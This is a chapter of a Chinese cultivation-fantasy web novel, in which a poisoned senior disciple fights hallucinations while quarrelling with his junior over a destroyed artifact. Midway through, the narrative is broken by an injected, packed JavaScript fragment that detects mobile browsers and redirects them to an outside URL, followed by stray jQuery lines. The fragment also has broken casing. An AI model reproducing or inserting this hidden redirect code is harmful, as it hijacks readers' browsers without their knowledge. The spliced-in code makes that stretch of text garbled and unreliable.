末崽给你一刀 作品

62.行路

清平城内虽有多方势力混战,但此时一处势力在刹那间覆灭,已非正常交战的所能达到的程度,城中守将皆以为有外敌趁机来犯,护城大阵瞬时升起,叫修士进出不能。


“向南。”


见萧易驻足不前,韩景出声提醒道。


身旁人听话地没再犹豫,即刻带着他南向而去,飞往远在数十万里之外的画中入口。


聂知秋安插了不少修士暗中追踪他们,想来是贼心不死,仍对萧易的功法极感兴趣,想放他们两人出城作饵,自己则将他们身后势力扒出。


但护城大阵一开,聂知秋就算是被自家人搬石头砸了脚,用作追踪的绝大部分修士都被困在了城内,韩景则坐收渔翁之利,以极小的成本就甩去了所有尾巴。


韩景现在只盼着快些熬过药力,好由他来带路,不然凭萧易的修为,数十万里的路程不知要走到猴年马月。


他再度强行驱动灵力。情况没有任何好转,整片世界反而在随着他神识的移动愈发崩坏,所有感官甚至神识同步为他打造的幻象,叫他对自己判断的信任开始逐步瓦解。


“那是什么酒?”


“是师兄做的吗?”


韩景想问询酒的品类,好凭他这几年积累的对于药品的了解采取些应急措施,正赶上萧易也出言发问。


“……绮梦。”萧易答着,“现蜃影,登极乐。


师兄是因为那坛酒才感觉不适?对不起师兄,我从前只听闻此酒珍贵,我不知其对人体有害……”


“不是你的问题,你不用自责。师兄没事,休养一会儿就能行动如常了。”韩景也拿不准“一会儿”指的是多久,但仍在师弟面前嘴硬,拨着在脑子里乱成浆糊的思绪,回答萧易的问题,“绝魂垓是我做的。”


“……为什么。”


韩景怔了片刻,安静半晌,才能确定这声疑问真的是从萧易口中发出的。


“我在你休眠时用六爻阵道更改了绝魂垓的命数。聂长老修为太高,至少在封命境之上,若用寻常方法,定能被他察觉后拦下。”


他说到此处,换了一口气,为了不被萧易发现,将气息拖得很长,维持神色平静,“但六爻阵道,从前对其不熟悉之人,在短时间内无法找出终止卦象变化的根源、并将其摧毁,要毁去绝魂垓,用此功法足矣。”


“为什么要彻底毁掉它。”


韩景本以为自己已经叙述地足够清楚,可萧易又接着问道。


“……我们之前不是说过吗,绝魂垓留不下。”


“我知道。”萧易只说出三个字。


他声音压得低沉,听上去心情不佳,丝毫没有绝处逢生之感。韩景此时本该先顾全自己,但他还是忍不住问:“怎么了?是城中还有挂心的事情吗?”


萧易默然,韩景也没有能力去揣摩他的心思了,见他不语,便全神贯注抵抗幻象,试图收拢神识、炼化药力。


可是情况非但没有好转,反而随着时间的流逝迅速加重,头脑昏沉发胀,阵阵钝痛自天灵传下,一次次冲击着他的理智。


韩景只能抛弃先行调整自身状态的方案,转而将精力投入调用灵力上,好能接替萧易,快些赶回画中,寻求大师兄医治。


在遍布疮痍的世界中飞了许久,身侧才又有声音传来。


“下次,师兄想要做什么,可以先告诉我吗。”


“你是指我炸毁绝魂垓一事?”


萧易不语,算是默认。


“师兄若告诉你,你想怎么做?”韩景话已出口,才发觉自己在心力交瘁中,话间带上了一丝戾气,却没有精力去为自己找补了。


“……我就不会接替师兄布局,费尽心思选出能暂时庇护绝魂垓的心腹,想着既能不打乱师兄计划,又能将绝魂垓保下。”萧易声音毫无起伏,但韩景却能听出他在赌气。


“小易,你阅历太浅,这种东西不可能长时间交托给别人。”


“我会回来处理。”萧易说。


……


回来?


城中各方势力都得罪了个遍,又有封命境的高手虎视眈眈——


回来?


“你还回来做什么?”韩景没忍住,忽地偏头看他,眉心拧起。


萧易同他距离很近,只隔了一个肩膀,两人虽在竭力维持和平,但韩景已能看见他眸底隐忍着的愠怒。


“师兄是觉得,我这辈子只能留在画中吗?留在画中当个玩具?”


“……别再胡言。你这次胡闹着跑出来,已足够叫师兄师姐们寒心,从现在起,不能再说画中一句不是。”


韩景冷了声音,注意到自己的手臂还搭在他肩膀上,于是将手臂抽出,试着动用灵力,自行腾空,按下他揽住自己的手,与他隔开小段距离,厉色训他。


萧易沉默着看向被他按回的那只手,嘴唇动了动,片刻后,抬眸直视他,神色中的本就压抑的怒意,在望见韩景苍白脸色的一瞬,又被全数倒吸回去,“师兄,你状态不好,还是我带你走吧。”


韩景用仅剩不多的力气抓住他再次伸来的手,向他的方向送回,“不必了,师兄再休养一段路程,就带你全速返回。”


他不再看萧易。


虽然在竭力抑制,可当他将注意力放在萧易身上时,那种消溶的可怖前兆,还是如抽丝般开始侵蚀着他。


这是韩景眼中的世界中,唯一一个正常的坐标了,如果连这个坐标都化成了飞灰,那血海中便再无灯塔,韩景怕是很快就会模糊幻象与现实的界限。


他必须得让这个坐标一直保持正常,直到回到画中。


“师兄,你为什么来接我。”萧易又问他。


韩景不答,不敢再有哪怕神识落在他身上。


“是你想接我回去,还是二师姐需要人传承功法,二师兄缺了玩伴……”


“你什么时候才能懂事?”韩景甚至没意识到自己说出了这句话,“你为什么、为什么既怕自己有用又怕自己无用?你到底想要什么……”


头脑中的剧烈的钝痛将他打断,他停住了。


“你……对不起,小易,你先别说话了,安静一会儿好吗?师兄现在不方便回答。”


他能感觉到自己的嘴唇好像被什么东西黏了上,连说话都面临着极大的阻力,这话也不知是从哪里挤出来的,传到他耳朵时闷闷的,好像就憋闷在胸腔中,


好在他说罢,萧易就如他所愿,保持安静,良久没有再言。


久到叫韩景生疑。


天地间早已一片血色,韩景自脱离清平城以来,唯一能与之为伍的,就是萧易身上异于常人的气息。


如今那气息仍在,但若即若离。韩景对于危机的感知一向敏锐,就像他现在能感知到,身旁原被填满的空间,正在渐渐残缺。


他僵硬地,扭头看去,身旁的景象他已在方才一个时辰内见过了百万次,一个活生生的人正在被这片天地吞噬、消溶,萧易的面容已经失去了十之五六,血顺着形如枯木般的身子淌下,借着极近的距离,昂起前段末肢,伸向韩景。


韩景心神大骇,用即将全面崩盘的理智控制着自己没有飞速后退,将所有精神力一层叠上一层,孤注一掷般压在同一处、压在萧易身上,压住了那些正在流逝的飞沙,像擦去画中的图层一般,擦出萧易仍然完整的面容,叫千里幻象中这微不足道的一处暂时清明。


“我做不到像师兄一样,破釜沉舟,对自己在外建立的势力,说舍弃便能舍弃。”


萧易的脸刚在他的视野中恢复正常,他便听到这样一句。


……怎么回事?


这段对话,不应该早就结束了吗?


“师兄此局下来,我在清平城内所有信誉便一扫


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15384697|164476||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


而空,真正再无立足之地……师兄,我想提前知道你的计划,我想让我所求之物也被加在计划中。”


萧易的声音已经尽可能地平静,可越说下去,韩景便越能听出其中埋怨和锐意,每个字都像是秤砣一般挤压在他的心脏上,只能听见遍野哀嚎的耳朵,竟在此刻也被这轻飘飘一句话刺痛。


等等,等等,不该是这样……


修行二十余年,怎可能因为几句无知之言就动了真气。


守住心神,不能被幻象影响心境。


……怎么,怎么有好多萧易?他们都在说话?内容还不同!?


“师兄,我什么都没有,我只是想叫自己有本钱,能堂堂正正同你们并肩,而不是只做一个随时能被丢弃的附庸。”


“如果我像师兄一样,在整个仙域中名声大噪,我也不会心急,我也能安心待在画中修炼,因为那样,总归会有所树建。”


“我知道,我知道我总得用什么东西,给自己换得容身之所,我只是……我只是,或许我不该……从前我也常做交易,用血用肉,换不了几日好活。我不想再通过祭祀什么活着,我想有资格能够主持祭祀。”


是……萧易在说话吗?


韩景看着面前不断变化的残影,神情茫然中逐渐染上深入灵魂的惊恐。


声音怎么会,被混到一起了?


是不是时间流速变了?


时间流速变了??!


怎么可能、你在想什么、清醒,清醒……


不对,这个人是小易吗?是小易还是幻象??


糟了、怎么分不清……


等等,等、别说了、好吵、全都混到一起了!全都混在一起了!!


韩景连自己都不知道自己在做什么。他想要握拳,但脑中有什么东西在叫嚣着告诉他,有哪里不对,他不该握拳,于是那只手大张开来,五条白筋鼓起着对抗自己的意志,直至虎口撕裂。


不想只做附庸?


什么都没有才想要本钱??


他就有了吗?他除了责任还有别的东西吗??


像师兄一样?像师兄一样走到哪里都要带上面具、过街老鼠似的东躲西藏、身份被当做一个符记在人群里甩来甩去吗??


师兄不知道什么是对的了……师兄不知道该怎么做了……祭祀也换不来……祭祀换不来太平……祭祀死了好多人……


“绝魂垓保不下?师兄,你当时就是像抛弃绝魂垓一样,抛弃了万刃城吗?”


韩景不知何时两只手已经扒在了脸上,此问入耳,他蓦然睁眼,透过大张的指缝看见了一具枯骨。


目光扫过,枯骨崩塌,血涌如注,铺满天际的手臂像蠕动的蛆虫,将他团团包裹。


韩景在喧嚣中一片耳鸣,血手朝他挤压而来,避无可避,他用出全部灵力,奋力向前打出一掌,又因为什么停住,再次将稀薄的精神力全部作用在前方,看见面露惊愕的萧易在面前一闪。


“你回去,先回去……师兄随后就到……”


他根本辨不清方向了,只知道要避开萧易所在,耗费掉全部神志挑出一个没有萧易的方向,长槊横扫,将血手击散,突围冲去,在肉丛血雨中杀出一条路。


所过之地生人全为幽冥大阵所摄,灰飞烟灭,他将肉墙劈开一处缺口,看见红色光幕在千里外波动,肉墙瞬息再度闭合,他就动用云泽化兽,携着一条白龙向前突刺。


可他走一步,光幕就离他远一步,杀了不知多久,也不知灵力是否枯竭,离突破幽冥阵仍有千里,一只血手终于拽住了他脚踝,于是成千上万只血手在同时紧贴在他身周,或压或拽,巨力将他按进铺满了大地的血潭中。


水中没了嘶吼尖叫,声音朦胧,韩景透过水面,望着天空,身体靠上五人环抱的树干,金三阁的钟声响了七次,弟子们结束了一日的修炼。